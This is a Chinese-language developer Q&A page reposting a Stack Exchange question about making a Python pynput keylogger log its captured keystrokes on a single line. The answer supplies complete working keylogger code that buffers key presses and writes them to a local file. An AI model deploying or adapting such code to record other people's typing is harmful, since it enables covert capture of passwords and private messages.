You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

如何在键盘记录器(Key-logger)程序中将输出合并为单行?

如何修改Pynput键盘记录器实现单行输出

你现在的代码每次按键都会生成一条独立的日志行,要实现合并为单行的效果,核心思路是先把所有按键内容累积到一个字符串中,最后一次性写入日志(或者按特定条件触发写入),而不是每次按键就直接写一行日志。

下面是修改后的完整代码,我会给你拆解关键改动:

from pynput.keyboard import Key, Listener
import logging

log_dir = "C:/Users/noswear/Desktop/Mail/"
# 初始化缓冲区,用来累积所有按键内容
key_buffer = ""

# 配置日志格式,保持原有的时间戳规则
logging.basicConfig(filename=(log_dir + "key_log.txt"), 
                    level=logging.DEBUG, 
                    format='%(asctime)s:%(message)s')

def process_key(key):
    """把按键转换成易读的字符串格式"""
    try:
        # 普通字符直接提取字符值
        return key.char
    except AttributeError:
        # 特殊按键转换成友好标识
        if key == Key.space:
            return " "
        elif key == Key.backspace:
            return "[BACKSPACE]"
        elif key == Key.enter:
            return "[ENTER]"
        elif key == Key.shift:
            return "[SHIFT]"
        else:
            return f"[{key.name.upper()}]"

def on_press(key):
    global key_buffer
    # 处理当前按键并添加到缓冲区
    key_buffer += process_key(key)
    
    # 可选:如果想按输入段落记录(比如回车就生成一行),可以取消下面的注释
    # if key == Key.enter:
    #     logging.info(key_buffer)
    #     key_buffer = ""

def on_release(key):
    # 按ESC键停止监听,同时把剩余的缓冲区内容写入日志
    if key == Key.esc:
        if key_buffer:
            logging.info(key_buffer)
        return False

with Listener(on_press=on_press, on_release=on_release) as listener:
    listener.join()

改动细节说明:

  • 新增key_buffer全局变量:用来临时存储所有按键内容,替代原来每次按键直接写日志的逻辑。
  • 新增process_key函数:把退格、回车这类特殊按键转换成[BACKSPACE]、[ENTER]这种易读标识,避免日志里出现Key.backspace这种生硬的格式。
  • 新增on_release回调:用ESC键作为停止程序的触发条件,停止时会把缓冲区里的所有内容一次性写入日志,形成完整的单行记录。

修改后日志的输出格式会变成这样:

2024-05-20 16:20:30,456:m[BACKSPACE]pa[ENTER]hello world[SHIFT]A

内容的提问来源于stack exchange,提问作者noswear

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.05.27 03:58:57